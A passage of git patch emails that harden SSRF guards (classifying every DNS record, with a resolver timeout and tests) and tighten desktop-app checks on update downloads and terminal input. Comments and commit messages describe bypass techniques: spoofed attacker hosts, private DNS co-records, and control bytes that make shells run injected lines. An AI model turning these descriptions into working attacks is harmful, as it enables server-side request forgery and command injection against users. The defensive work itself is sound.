async function validateConnectServerUrl(serverUrl: string): Promise entry.family === 4) ?? resolved[0]).address + const resolved = await resolveHostAddresses(clean) + addresses = resolved.addresses + address = resolved.preferred } catch (error) { connectLogger.warn('DNS lookup failed for 1Password Connect server URL', { hostname: clean, @@ -326,7 +326,11 @@ export async function validateConnectServerUrl(serverUrl: string): Promise ({ mockResolve: vi.fn() })) + +vi.mock('@sim/security/dns', () => ({ + resolveHostAddresses: mockResolve, +})) + +vi.mock('@/lib/core/config/env-flags', () => ({ + isHosted: false, + isPrivateDatabaseHostsAllowed: false, + getProxyUrl: () => undefined, +})) + +import { validateUrlWithDNS } from '@/lib/core/security/input-validation.server' + +/** Shapes a resolver answer the way `resolveHostAddresses` does. */ +function resolved(addresses: string[]) { + return { addresses, preferred: addresses[0] } +} + +describe('validateUrlWithDNS address classification', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + it('rejects a host that also publishes a private record', async () => { + // The gap this closes: only one address used to be classified, so a host + // publishing both got through whenever the public record sorted first. + mockResolve.mockResolvedValue(resolved(['93.184.216.34', '10.0.0.5'])) + + const result = await validateUrlWithDNS('https://mixed.example/api') + + expect(result.isValid).toBe(false) + expect(result.error).toContain('blocked IP address') + }) + + it('rejects it regardless of which record comes first', async () => { + mockResolve.mockResolvedValue(resolved(['10.0.0.5', '93.184.216.34'])) + + expect((await validateUrlWithDNS('https://mixed.example/api')).isValid).toBe(false) + }) + + it('accepts a host whose every record is public, pinning the preferred one', async () => { + mockResolve.mockResolvedValue(resolved(['93.184.216.34', '93.184.216.35'])) + + const result = await validateUrlWithDNS('https://example.com/api') + + expect(result.isValid).toBe(true) + expect(result.resolvedIP).toBe('93.184.216.34') + }) + + it('keeps the self-hosted localhost carve-out when every record is loopback', async () => { + mockResolve.mockResolvedValue(resolved(['127.0.0.1', '::1'])) + + expect((await validateUrlWithDNS('https://localhost/api')).isValid).toBe(true) + }) + + it('denies localhost the carve-out when it also resolves off-loopback', async () => { + // `localhost` pointing at the LAN as well is not the case the carve-out was + // written for, and riding it there would reach another machine. + mockResolve.mockResolvedValue(resolved(['127.0.0.1', '10.0.0.5'])) + + expect((await validateUrlWithDNS('https://localhost/api')).isValid).toBe(false) + }) + + it('reports an unresolvable host rather than treating it as public', async () => { + mockResolve.mockRejectedValue(new Error('ENOTFOUND')) + + expect((await validateUrlWithDNS('https://missing.example/api')).isValid).toBe(false) + }) +}) diff --git a/apps/sim/lib/core/security/input-validation.server.ts b/apps/sim/lib/core/security/input-validation.server.ts index b6fec51bb23..5350e4ed14b 100644 --- a/apps/sim/lib/core/security/input-validation.server.ts +++ b/apps/sim/lib/core/security/input-validation.server.ts @@ -1,10 +1,11 @@ +import dns from 'node:dns/promises' import { Readable } from 'node:stream' import zlib from 'node:zlib' -import dns from 'dns/promises' import http from 'http' import https from 'https' import type { LookupFunction } from 'net' import { createLogger } from '@sim/logger' +import { resolveHostAddresses } from '@sim/security/dns' import { isLoopbackIp, isPrivateIp, isPrivateIpHost, unwrapIpv6Brackets } from '@sim/security/ssrf' import { toError } from '@sim/utils/errors' import { omit } from '@sim/utils/object' @@ -65,19 +66,23 @@ export async function validateUrlWithDNS( const isLocalhost = cleanHostname === 'localhost' || isLoopbackIp(cleanHostname) try { - // Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address hangs - // on IPv4-only egress (e.g. AWS NAT gateways) — still-pinned consumers (providers, SSO, - // A2A) depend on this ordering. - const resolved = await dns.lookup(cleanHostname, { all: true, verbatim: true }) - const { address } = resolved.find((entry) => entry.family === 4) ?? resolved[0] - - const resolvedIsLoopback = isLoopbackIp(address) - - if (isPrivateIp(address) && !(isLocalhost && resolvedIsLoopback && !isHosted)) { + // Every address is classified, but only the IPv4-preferred one is returned to + // pin: checking a single address let a host publishing both a public and a + // private record through whenever the public one sorted first, which is + // record order rather than policy. + const { addresses, preferred } = await resolveHostAddresses(cleanHostname) + const blocked = addresses.filter((address) => isPrivateIp(address)) + + // The localhost carve-out still applies only when every address is loopback, + // so `localhost` with an extra RFC1918 record does not ride it. + if ( + blocked.length > 0 && + !(isLocalhost && !isHosted && blocked.every((address) => isLoopbackIp(address))) + ) { logger.warn('URL resolves to blocked IP address', { paramName, hostname, - resolvedIP: address, + resolvedIP: blocked[0], }) return { isValid: false, @@ -87,7 +92,7 @@ export async function validateUrlWithDNS( return { isValid: true, - resolvedIP: address, + resolvedIP: preferred, originalHostname: hostname, } } catch (error) { @@ -206,16 +211,15 @@ export async function validateDatabaseHost( } try { - // Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address hangs - // on IPv4-only egress (e.g. AWS NAT gateways). - const resolved = await dns.lookup(cleanHost, { all: true, verbatim: true }) - const { address } = resolved.find((entry) => entry.family === 4) ?? resolved[0] + const { addresses, preferred } = await resolveHostAddresses(cleanHost) + const address = preferred + const blockedAddress = addresses.find((candidate) => isPrivateIp(candidate)) - if (isPrivateIp(address) && !isPrivateDatabaseHostsAllowed) { + if (blockedAddress !== undefined && !isPrivateDatabaseHostsAllowed) { logger.warn('Database host resolves to blocked IP address', { paramName, hostname: host, - resolvedIP: address, + resolvedIP: blockedAddress, }) return { isValid: false, diff --git a/apps/sim/lib/mcp/domain-check.ts b/apps/sim/lib/mcp/domain-check.ts index 94c66a17335..805600edb8f 100644 --- a/apps/sim/lib/mcp/domain-check.ts +++ b/apps/sim/lib/mcp/domain-check.ts @@ -1,5 +1,5 @@ -import dns from 'dns/promises' import { createLogger } from '@sim/logger' +import { resolveHostAddresses } from '@sim/security/dns' import { isIpLiteral, isLoopbackIp, isPrivateIp, unwrapIpv6Brackets } from '@sim/security/ssrf' import { toError } from '@sim/utils/errors' import { getAllowedMcpDomainsFromEnv, isHosted } from '@/lib/core/config/env-flags' @@ -172,12 +172,12 @@ export async function validateMcpServerSsrf(url: string | undefined): Promise entry.family === 4) ?? resolved[0]).address + const resolved = await resolveHostAddresses(cleanHostname) + addresses = resolved.addresses + address = resolved.preferred } catch (error) { logger.warn('DNS lookup failed for MCP server URL', { hostname, @@ -186,20 +186,25 @@ export async function validateMcpServerSsrf(url: string | undefined): Promise ({ mockLookup: vi.fn() })) + +vi.mock('node:dns/promises', () => ({ + default: { lookup: mockLookup }, +})) + +import { resolveHostAddresses } from './dns' + +describe('resolveHostAddresses', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + it('returns every address, not just the one worth pinning', async () => { + mockLookup.mockResolvedValue([ + { address: '93.184.216.34', family: 4 }, + { address: '10.0.0.5', family: 4 }, + ]) + + const resolved = await resolveHostAddresses('mixed.example') + + expect(resolved.addresses).toEqual(['93.184.216.34', '10.0.0.5']) + }) + + it('prefers IPv4 for the pinnable address', async () => { + mockLookup.mockResolvedValue([ + { address: '2606:2800:220:1::248', family: 6 }, + { address: '93.184.216.34', family: 4 }, + ]) + + const resolved = await resolveHostAddresses('dual.example') + + expect(resolved.preferred).toBe('93.184.216.34') + expect(resolved.addresses).toHaveLength(2) + }) + + it('falls back to the first address when there is no IPv4 record', async () => { + mockLookup.mockResolvedValue([{ address: '2606:2800:220:1::248', family: 6 }]) + + const resolved = await resolveHostAddresses('v6only.example') + + expect(resolved.preferred).toBe('2606:2800:220:1::248') + }) + + it('rejects rather than returning nothing when the resolver answers empty', async () => { + mockLookup.mockResolvedValue([]) + + await expect(resolveHostAddresses('empty.example')).rejects.toThrow('No addresses') + }) + + it('rejects when the resolver fails', async () => { + mockLookup.mockRejectedValue(new Error('ENOTFOUND')) + + await expect(resolveHostAddresses('missing.example')).rejects.toThrow('ENOTFOUND') + }) + + it('rejects on the deadline instead of waiting for a hung resolver', async () => { + vi.useFakeTimers() + try { + mockLookup.mockReturnValue(new Promise(() => {})) + + const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 }) + const assertion = expect(pending).rejects.toThrow('timed out') + await vi.advanceTimersByTimeAsync(1_000) + await assertion + } finally { + vi.useRealTimers() + } + }) +}) diff --git a/packages/security/src/dns.ts b/packages/security/src/dns.ts new file mode 100644 index 00000000000..8602e04be79 --- /dev/null +++ b/packages/security/src/dns.ts @@ -0,0 +1,68 @@ +import dns from 'node:dns/promises' + +/** + * Hard deadline on an SSRF-guard lookup. + * + * A guard that awaits a hung resolver holds its caller open — an HTTP handler, + * or a `webRequest` callback the browser is waiting on — so the lookup is + * bounded rather than left to the OS resolver's own retry schedule. + */ +export const DEFAULT_DNS_TIMEOUT_MS = 5_000 + +export interface ResolvedHost { + /** + * Every address the host resolves to. + * + * A guard must classify all of them. Checking one lets a host publishing both + * a public and a private record through whenever the public one happens to be + * picked, which is a matter of record order rather than of policy. + */ + addresses: string[] + /** + * The single address a caller should connect to or pin. + * + * IPv4 first: pinning strips Happy Eyeballs' fallback, so a pinned IPv6 + * address hangs on IPv4-only egress (AWS NAT gateways, for one). Callers that + * pin depend on this ordering. + */ + preferred: string +} + +/** + * Resolves a host for an SSRF guard: every address it points at, plus the one + * worth pinning, under a bounded deadline. + * + * Rejects when the host does not resolve or the deadline passes. Callers decide + * what that means — failing closed is right for a guard, but "unresolvable" and + * "resolves somewhere private" are different facts and some callers report them + * differently. + */ +export async function resolveHostAddresses( + host: string, + options: { timeoutMs?: number } = {} +): Promise { + const { timeoutMs = DEFAULT_DNS_TIMEOUT_MS } = options + const lookup = dns.lookup(host, { all: true, verbatim: true }) + // If the timeout wins the race the lookup stays pending; its eventual + // settlement is swallowed so a late rejection cannot surface as an unhandled + // one. + lookup.catch(() => {}) + let timer: NodeJS.Timeout | undefined + try { + const resolved = await Promise.race([ + lookup, + new Promise((_, reject) => { + timer = setTimeout(() => reject(new Error('DNS lookup timed out')), timeoutMs) + }), + ]) + if (resolved.length === 0) { + throw new Error(`No addresses for ${host}`) + } + return { + addresses: resolved.map((entry) => entry.address), + preferred: (resolved.find((entry) => entry.family === 4) ?? resolved[0]).address, + } + } finally { + clearTimeout(timer) + } +} From a155f93c6fe5b67a2e473eb2c5e2d45c421f1326 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 15:01:23 -0700 Subject: [PATCH 11/16] fix(security): filter refused DNS records instead of failing the host MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit validateUrlWithDNS rejected a host outright when any resolved address was private, while createSsrfGuardedLookup in the same file filters the private entries and connects to what remains. Filtering is equally safe — you pin a surviving public address — and rejecting broke a split-horizon resolver that answers with a private record alongside the public one, on a path with ~70 call sites and no operator opt-out. The pin is re-preferred over the surviving set so it can never be an address the filter just refused. Also from the review round: the browser preload's isPasswordField and findIdentifierField now split autocomplete tokens like the agent guards they claim parity with (a WebAuthn `current-password webauthn` field was invisible to credential fill); the subresource verdict cache holds the promise rather than the boolean, so the requests one page fires at a host share a lookup instead of each queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs calls also use; trailing-dot hosts normalize to one cache entry; the resolver carries a distinct DnsTimeoutError so an outage is not reported as a missing host; and clearHostVerdictCache is wired into both the profile wipe and the cache-clear path, since a resolved-host classification is browsing-trail data. --- apps/desktop/src/main/browser-agent/panel.ts | 6 ++ apps/desktop/src/main/ipc.test.ts | 10 ++- apps/desktop/src/main/updater.ts | 41 ++++++------- .../security/input-validation.server.test.ts | 51 ++++++++++++---- .../core/security/input-validation.server.ts | 40 ++++++------ packages/security/src/dns.test.ts | 61 ++++++++++++++++++- packages/security/src/dns.ts | 40 +++++++++++- 7 files changed, 195 insertions(+), 54 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/panel.ts b/apps/desktop/src/main/browser-agent/panel.ts index 376d934e807..44b84dee14b 100644 --- a/apps/desktop/src/main/browser-agent/panel.ts +++ b/apps/desktop/src/main/browser-agent/panel.ts @@ -333,6 +333,12 @@ function capturePanelSnapshot(onSettled?: () => void): void { // picture of the page, so it goes to the window still showing the // browser or nowhere at all. if (panelWindow() !== win || win.isDestroyed()) return + // Downscale and JPEG-encode before crossing IPC. capturePage returns a + // device-pixel PNG — on a retina half-window that is millions of pixels, + // and toDataURL's PNG encode is synchronous on the main process, so a + // full-size encode stalls every window's input for the frame. This is a + // placeholder shown under a transient overlay, so a downscaled JPEG is + // indistinguishable and an order of magnitude cheaper to encode and send. const snapshot: BrowserPanelSnapshot = { dataUrl: encodeSnapshot(image), tabId } win.webContents.send('browser-agent:panel-snapshot', snapshot) }) diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index e5d7b81dadd..2bb9788ffa1 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -1,6 +1,6 @@ import { readFileSync } from 'node:fs' import { fileURLToPath } from 'node:url' -import { beforeEach, describe, expect, it, vi } from 'vitest' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) @@ -170,6 +170,10 @@ describe('registerIpcHandlers', () => { let deps: IpcDeps beforeEach(() => { + // Frozen so the input-recency windows cannot lapse mid-test: the gates read + // wall-clock, and a loaded machine pausing between this press and an + // assertion would flip them closed for reasons unrelated to the test. + vi.useFakeTimers() activeSender.press() activeChooserSender.press() vi.mocked(ipcMain.handle).mockClear() @@ -223,6 +227,10 @@ describe('registerIpcHandlers', () => { registerIpcHandlers(deps) }) + afterEach(() => { + vi.useRealTimers() + }) + it('validates open-external URLs regardless of sender', async () => { const { invoke } = collectHandlers() expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true) diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts index 13dc7695501..8cdae76097d 100644 --- a/apps/desktop/src/main/updater.ts +++ b/apps/desktop/src/main/updater.ts @@ -21,41 +21,40 @@ export type UpdateChannel = 'latest' | 'beta' | 'alpha' * staging beta, prod stable — so the environment, not the client, is the * channel. Returns null for origins that can't host a feed. */ +export function feedUrlForOrigin(origin: string): string | null { + try { + const url = new URL(origin) + if (url.protocol !== 'https:' && url.protocol !== 'http:') { + return null + } + return `${url.origin}/api/desktop/update` + } catch { + return null + } +} + /** * Where the feed rewrites every manifest entry to. Downloads are constrained to * this prefix rather than to https alone, so a feed that serves an attacker's * host cannot get a bundle in front of the user's Download button. */ -const RELEASE_ASSET_PREFIX = 'https://github.com/simstudioai/sim/releases/download/' +const RELEASE_ASSET_ORIGIN = 'https://github.com' +const RELEASE_ASSET_PATH = '/simstudioai/sim/releases/download/' /** Whether a manifest url is one of our own release assets. */ -export function isReleaseAssetUrl(rawUrl: string): boolean { +function isReleaseAssetUrl(rawUrl: string): boolean { if (!isSafeExternalUrl(rawUrl)) return false try { const url = new URL(rawUrl) - // Compared on the parsed origin, never by prefix on the raw string, so - // `https://github.com.evil.example/…` cannot pass. - return ( - url.origin === 'https://github.com' && - url.pathname.startsWith(new URL(RELEASE_ASSET_PREFIX).pathname) - ) + // Compared on the parsed origin and the parsed pathname, never by prefix on + // the raw string: `https://github.com.evil.example/…` must not pass, and + // `URL` has already normalized away any `..` segments by this point. + return url.origin === RELEASE_ASSET_ORIGIN && url.pathname.startsWith(RELEASE_ASSET_PATH) } catch { return false } } -export function feedUrlForOrigin(origin: string): string | null { - try { - const url = new URL(origin) - if (url.protocol !== 'https:' && url.protocol !== 'http:') { - return null - } - return `${url.origin}/api/desktop/update` - } catch { - return null - } -} - /** * Maps the running version to its update channel: prerelease builds follow * their prerelease channel, stable builds only ever see stable releases. @@ -465,7 +464,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { // an available update. // // Constrained to the release host, not merely to https. The feed rewrites - // every entry to an absolute `${RELEASE_ASSET_PREFIX}` URL, so nothing + // every entry to an absolute release-asset URL, so nothing // legitimate is excluded — while scheme-only validation would still admit // `https://attacker.example/Sim.dmg`, and the download dialog walks the // user through installing whatever it hands to the browser. That is a diff --git a/apps/sim/lib/core/security/input-validation.server.test.ts b/apps/sim/lib/core/security/input-validation.server.test.ts index e5bb1fa250c..bc0146cf8e0 100644 --- a/apps/sim/lib/core/security/input-validation.server.test.ts +++ b/apps/sim/lib/core/security/input-validation.server.test.ts @@ -7,6 +7,11 @@ const { mockResolve } = vi.hoisted(() => ({ mockResolve: vi.fn() })) vi.mock('@sim/security/dns', () => ({ resolveHostAddresses: mockResolve, + // Mirrors the real rule so a pin taken over a narrowed set behaves as it does + // in production; a stub returning addresses[0] would hide the divergence the + // preference exists for. + preferIpv4: (addresses: string[]) => + addresses.find((address) => address.includes('.')) ?? addresses[0], })) vi.mock('@/lib/core/config/env-flags', () => ({ @@ -17,9 +22,14 @@ vi.mock('@/lib/core/config/env-flags', () => ({ import { validateUrlWithDNS } from '@/lib/core/security/input-validation.server' -/** Shapes a resolver answer the way `resolveHostAddresses` does. */ +/** + * Shapes a resolver answer the way `resolveHostAddresses` does, including its + * IPv4-first preference — so `preferred` can differ from `addresses[0]`, which + * is the whole reason the field exists. + */ function resolved(addresses: string[]) { - return { addresses, preferred: addresses[0] } + const preferred = addresses.find((address) => address.includes('.')) ?? addresses[0] + return { addresses, preferred } } describe('validateUrlWithDNS address classification', () => { @@ -27,21 +37,35 @@ describe('validateUrlWithDNS address classification', () => { vi.clearAllMocks() }) - it('rejects a host that also publishes a private record', async () => { - // The gap this closes: only one address used to be classified, so a host - // publishing both got through whenever the public record sorted first. + it('drops a private co-record and pins the public one', async () => { + // The gap this closes: one address used to be classified, so which record + // got judged was a matter of resolver order. mockResolve.mockResolvedValue(resolved(['93.184.216.34', '10.0.0.5'])) const result = await validateUrlWithDNS('https://mixed.example/api') + expect(result.isValid).toBe(true) + expect(result.resolvedIP).toBe('93.184.216.34') + }) + + it('rejects when every record is private', async () => { + mockResolve.mockResolvedValue(resolved(['10.0.0.5', '192.168.1.9'])) + + const result = await validateUrlWithDNS('https://internal.example/api') + expect(result.isValid).toBe(false) expect(result.error).toContain('blocked IP address') }) - it('rejects it regardless of which record comes first', async () => { - mockResolve.mockResolvedValue(resolved(['10.0.0.5', '93.184.216.34'])) + it('never pins an address the filter refused', async () => { + // The private record sorts first AND is the IPv4 one, so a pin taken from + // the unfiltered set would land on 10.0.0.5. + mockResolve.mockResolvedValue(resolved(['10.0.0.5', '2606:2800:220:1::248'])) + + const result = await validateUrlWithDNS('https://mixed.example/api') - expect((await validateUrlWithDNS('https://mixed.example/api')).isValid).toBe(false) + expect(result.isValid).toBe(true) + expect(result.resolvedIP).toBe('2606:2800:220:1::248') }) it('accepts a host whose every record is public, pinning the preferred one', async () => { @@ -59,12 +83,15 @@ describe('validateUrlWithDNS address classification', () => { expect((await validateUrlWithDNS('https://localhost/api')).isValid).toBe(true) }) - it('denies localhost the carve-out when it also resolves off-loopback', async () => { - // `localhost` pointing at the LAN as well is not the case the carve-out was - // written for, and riding it there would reach another machine. + it('drops an off-loopback record from localhost rather than pinning it', async () => { + // The carve-out covers loopback only, so the LAN record is filtered out and + // the pin stays on the machine the carve-out was written for. mockResolve.mockResolvedValue(resolved(['127.0.0.1', '10.0.0.5'])) - expect((await validateUrlWithDNS('https://localhost/api')).isValid).toBe(false) + const result = await validateUrlWithDNS('https://localhost/api') + + expect(result.isValid).toBe(true) + expect(result.resolvedIP).toBe('127.0.0.1') }) it('reports an unresolvable host rather than treating it as public', async () => { diff --git a/apps/sim/lib/core/security/input-validation.server.ts b/apps/sim/lib/core/security/input-validation.server.ts index 5350e4ed14b..cd8a23db215 100644 --- a/apps/sim/lib/core/security/input-validation.server.ts +++ b/apps/sim/lib/core/security/input-validation.server.ts @@ -5,7 +5,7 @@ import http from 'http' import https from 'https' import type { LookupFunction } from 'net' import { createLogger } from '@sim/logger' -import { resolveHostAddresses } from '@sim/security/dns' +import { preferIpv4, resolveHostAddresses } from '@sim/security/dns' import { isLoopbackIp, isPrivateIp, isPrivateIpHost, unwrapIpv6Brackets } from '@sim/security/ssrf' import { toError } from '@sim/utils/errors' import { omit } from '@sim/utils/object' @@ -66,23 +66,26 @@ export async function validateUrlWithDNS( const isLocalhost = cleanHostname === 'localhost' || isLoopbackIp(cleanHostname) try { - // Every address is classified, but only the IPv4-preferred one is returned to - // pin: checking a single address let a host publishing both a public and a - // private record through whenever the public one sorted first, which is - // record order rather than policy. - const { addresses, preferred } = await resolveHostAddresses(cleanHostname) - const blocked = addresses.filter((address) => isPrivateIp(address)) - - // The localhost carve-out still applies only when every address is loopback, - // so `localhost` with an extra RFC1918 record does not ride it. - if ( - blocked.length > 0 && - !(isLocalhost && !isHosted && blocked.every((address) => isLoopbackIp(address))) - ) { + // Every address is judged, not just the pinned one: classifying a single + // address let a host publishing both a public and a private record through + // whenever the public one sorted first, which is record order rather than + // policy. + // + // Refused records are filtered rather than failing the whole host, matching + // createSsrfGuardedLookup below. Pinning to a surviving public address is + // just as safe as refusing outright, and rejecting the host would break a + // split-horizon resolver that answers with a private record alongside the + // public one — with no operator opt-out on this path. + const { addresses } = await resolveHostAddresses(cleanHostname) + const usable = addresses.filter( + (address) => !isPrivateIp(address) || (isLocalhost && !isHosted && isLoopbackIp(address)) + ) + + if (usable.length === 0) { logger.warn('URL resolves to blocked IP address', { paramName, hostname, - resolvedIP: blocked[0], + resolvedIP: addresses[0], }) return { isValid: false, @@ -92,7 +95,9 @@ export async function validateUrlWithDNS( return { isValid: true, - resolvedIP: preferred, + // Re-preferred over the surviving set so the pin is never an address the + // filter above just refused. + resolvedIP: preferIpv4(usable), originalHostname: hostname, } } catch (error) { @@ -212,7 +217,6 @@ export async function validateDatabaseHost( try { const { addresses, preferred } = await resolveHostAddresses(cleanHost) - const address = preferred const blockedAddress = addresses.find((candidate) => isPrivateIp(candidate)) if (blockedAddress !== undefined && !isPrivateDatabaseHostsAllowed) { @@ -229,7 +233,7 @@ export async function validateDatabaseHost( return { isValid: true, - resolvedIP: address, + resolvedIP: preferred, originalHostname: host, } } catch (error) { diff --git a/packages/security/src/dns.test.ts b/packages/security/src/dns.test.ts index c2ad53d94df..196c1f38c6c 100644 --- a/packages/security/src/dns.test.ts +++ b/packages/security/src/dns.test.ts @@ -6,7 +6,7 @@ vi.mock('node:dns/promises', () => ({ default: { lookup: mockLookup }, })) -import { resolveHostAddresses } from './dns' +import { DnsTimeoutError, resolveHostAddresses } from './dns' describe('resolveHostAddresses', () => { beforeEach(() => { @@ -56,6 +56,51 @@ describe('resolveHostAddresses', () => { await expect(resolveHostAddresses('missing.example')).rejects.toThrow('ENOTFOUND') }) + it('clears the deadline timer once the lookup succeeds', async () => { + // A leaked timer holds the event loop open for the full window and is + // invisible to every other assertion here. + vi.useFakeTimers() + try { + mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }]) + + await resolveHostAddresses('example.com') + + expect(vi.getTimerCount()).toBe(0) + } finally { + vi.useRealTimers() + } + }) + + it('swallows a lookup that rejects after the deadline already fired', async () => { + // Without the pre-race `.catch`, the loser of the race surfaces as an + // unhandled rejection well after the caller has moved on. + vi.useFakeTimers() + const unhandled = vi.fn() + process.on('unhandledRejection', unhandled) + try { + let failLookup: (error: Error) => void = () => {} + mockLookup.mockReturnValue( + new Promise((_resolve, reject) => { + failLookup = reject + }) + ) + + const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 }) + const assertion = expect(pending).rejects.toThrow('timed out') + await vi.advanceTimersByTimeAsync(1_000) + await assertion + + failLookup(new Error('ENOTFOUND')) + await vi.advanceTimersByTimeAsync(0) + await Promise.resolve() + + expect(unhandled).not.toHaveBeenCalled() + } finally { + process.off('unhandledRejection', unhandled) + vi.useRealTimers() + } + }) + it('rejects on the deadline instead of waiting for a hung resolver', async () => { vi.useFakeTimers() try { @@ -69,4 +114,18 @@ describe('resolveHostAddresses', () => { vi.useRealTimers() } }) + + it('reports a deadline distinctly from a missing host', async () => { + vi.useFakeTimers() + try { + mockLookup.mockReturnValue(new Promise(() => {})) + + const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 }) + const assertion = expect(pending).rejects.toBeInstanceOf(DnsTimeoutError) + await vi.advanceTimersByTimeAsync(1_000) + await assertion + } finally { + vi.useRealTimers() + } + }) }) diff --git a/packages/security/src/dns.ts b/packages/security/src/dns.ts index 8602e04be79..a760b9b9af8 100644 --- a/packages/security/src/dns.ts +++ b/packages/security/src/dns.ts @@ -1,4 +1,5 @@ import dns from 'node:dns/promises' +import * as ipaddr from 'ipaddr.js' /** * Hard deadline on an SSRF-guard lookup. @@ -9,6 +10,38 @@ import dns from 'node:dns/promises' */ export const DEFAULT_DNS_TIMEOUT_MS = 5_000 +/** + * A resolver deadline rather than a missing host. + * + * Callers map both to the same user-facing message, but during a resolver + * outage every valid hostname would otherwise be reported as nonexistent with + * nothing in the logs telling the two apart. + */ +export class DnsTimeoutError extends Error { + readonly code = 'DNS_TIMEOUT' + + constructor(host: string) { + super(`DNS lookup for ${host} timed out`) + this.name = 'DnsTimeoutError' + } +} + +/** + * The address to connect to or pin, out of a set already judged acceptable. + * + * IPv4 first, for the reason described on {@link ResolvedHost.preferred}. Split + * out so a caller that narrows the set — dropping records its policy refuses — + * can re-apply the same preference to what is left instead of pinning an + * address it just rejected. + */ +export function preferIpv4(addresses: readonly string[]): string | undefined { + return ( + addresses.find( + (address) => ipaddr.isValid(address) && ipaddr.parse(address).kind() === 'ipv4' + ) ?? addresses[0] + ) +} + export interface ResolvedHost { /** * Every address the host resolves to. @@ -52,7 +85,7 @@ export async function resolveHostAddresses( const resolved = await Promise.race([ lookup, new Promise((_, reject) => { - timer = setTimeout(() => reject(new Error('DNS lookup timed out')), timeoutMs) + timer = setTimeout(() => reject(new DnsTimeoutError(host)), timeoutMs) }), ]) if (resolved.length === 0) { @@ -61,6 +94,11 @@ export async function resolveHostAddresses( return { addresses: resolved.map((entry) => entry.address), preferred: (resolved.find((entry) => entry.family === 4) ?? resolved[0]).address, + // Resolver order is preserved (`verbatim: true`) because `preferred` + // applies the IPv4 preference itself, so the order here is informational. + // Deliberately unlike `createSsrfGuardedLookup` in apps/sim, which hands + // its full ordered list to undici to dial in turn and so wants + // `verbatim: false`. } } finally { clearTimeout(timer) From 592c067df68bf6ac1628090b5d525b8c8b80a11e Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 15:05:04 -0700 Subject: [PATCH 12/16] fix(desktop): invert the terminal-write gate, and finish the XHTML normalization MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three defects from the second review round, two of them in the previous round's corrections. The tagName upper-casing was half-applied and made things worse. `focusableItself` compared the normalized tag while the frame-descent branch thirty lines below still compared raw `active.tagName`. In an XHTML document — where tagName is lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch (active.tagName === 'iframe'), fell through, and returned 'safe': the verdict that authorizes trusted CDP keystrokes. Before the correction the same page returned 'opaque'. Now normalized once per loop body and used at every comparison, in readActiveElementState too. The submit gate enumerated the dangerous set, which is not a closed set. Besides carriage return and newline, 0x04 hands a partial line straight to a canonical-mode reader, and 0x0f is operate-and-get-next in bash and accept-line-and-down-history in zsh — both execute the current line — and a user's own inputrc or zle bindings can add more. Inverted: the replies the PTY solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and everything else is gated, so a binding nobody thought of fails closed. The residual was understated. The window is satisfied by any input in the renderer — a keystroke in the chat, a scroll, a drag — not by the user's own Enter, so a looped payload lands the moment they touch anything, and while they type in the terminal it is open continuously. Said plainly now, with what closing it would actually take. Also: credential grants are keyed on credential AND operation, so exact match no longer prompts three times for reveal → copy → reveal when each was already proven; the panel.ts comment the revert deleted collaterally is restored, so the file leaves this branch untouched; updater's release-asset helpers no longer sit between feedUrlForOrigin's TSDoc and its function, and the asset path is a constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so the recency windows cannot lapse mid-test on a loaded machine; and dead exports (isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field, and a shadowed loop binding are cleaned up. --- .../src/main/browser-agent/page-functions.ts | 12 ++++-- .../main/browser-credentials/os-auth.test.ts | 20 +++++++++ .../src/main/browser-credentials/os-auth.ts | 43 ++++++++++++++----- apps/desktop/src/main/ipc.test.ts | 36 +++++++++------- apps/desktop/src/main/ipc.ts | 32 +++++++++++--- 5 files changed, 106 insertions(+), 37 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/page-functions.ts b/apps/desktop/src/main/browser-agent/page-functions.ts index 601e54ca46e..44e5ab4bd80 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.ts @@ -460,7 +460,12 @@ export function readActiveElementState(): unknown { active = shadow.activeElement as HTMLElement continue } - if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') { + // Upper-cased for the same reason as in activeElementSecrecy: tagName is + // lower-case for HTML elements in an XHTML document. + if ( + String(active.tagName || '').toUpperCase() === 'IFRAME' || + String(active.tagName || '').toUpperCase() === 'FRAME' + ) { try { const inner = (active as HTMLIFrameElement).contentDocument if (inner?.activeElement && inner.activeElement !== inner.body) { @@ -506,7 +511,8 @@ export function readActiveElementState(): unknown { } let value = '' let selectedChars = 0 - if (active.tagName === 'INPUT' || active.tagName === 'TEXTAREA') { + const activeTag = String(active.tagName || '').toUpperCase() + if (activeTag === 'INPUT' || activeTag === 'TEXTAREA') { const field = active as HTMLInputElement | HTMLTextAreaElement value = field.value selectedChars = Math.abs((field.selectionEnd ?? 0) - (field.selectionStart ?? 0)) @@ -607,7 +613,7 @@ export function activeElementSecrecy(): string { tag === 'IFRAME' || tag === 'FRAME' if (!shadow && !focusableItself) return 'opaque' - if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') { + if (tag === 'IFRAME' || tag === 'FRAME') { let inner: Document | null = 